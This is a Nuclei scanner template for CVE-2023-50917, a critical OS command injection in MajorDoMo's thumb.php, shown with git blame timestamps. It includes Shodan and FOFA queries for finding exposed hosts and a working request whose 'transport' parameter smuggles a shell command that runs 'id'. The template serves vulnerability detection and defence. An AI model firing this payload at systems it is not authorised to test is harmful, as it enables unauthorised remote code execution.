nuclei-templates/http/cves/2023/CVE-2023-50917.yaml

52 lines
1.8 KiB
YAML
Raw Normal View History

2024-01-09 19:56:26 +00:00
id: CVE-2023-50917
info:
name: MajorDoMo thumb.php - OS Command Injection
author: DhiyaneshDK
severity: critical
2024-01-11 07:14:06 +00:00
description: |
MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.
2024-01-09 19:56:26 +00:00
reference:
- http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html
- http://seclists.org/fulldisclosure/2023/Dec/19
- https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178
- https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac
2024-01-11 07:14:06 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-50917
2024-01-09 19:56:26 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-50917
cwe-id: CWE-77
2024-05-31 19:23:20 +00:00
epss-score: 0.70095
epss-percentile: 0.98019
2024-01-09 19:56:26 +00:00
cpe: cpe:2.3:a:mjdm:majordomo:*:*:*:*:*:*:*:*
metadata:
2024-01-11 07:14:06 +00:00
verified: true
max-request: 1
2024-01-09 19:56:26 +00:00
vendor: mjdm
product: majordomo
shodan-query: http.favicon.hash:1903390397
fofa-query:
- app="MajordomoSL"
- app="majordomosl"
- icon_hash=1903390397
tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm
2024-01-09 19:56:26 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- 'rtsp_transport'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402205a6564b18f0e91dbe2165e265eccd7fe7ef54753da65860b5b49b86fd2640ed802206b0218a9b2b042f7f703672a5aa1d2e3ca94454c0f76c916297587805f66de3e:922c64590222798bb761d5b6d8e72950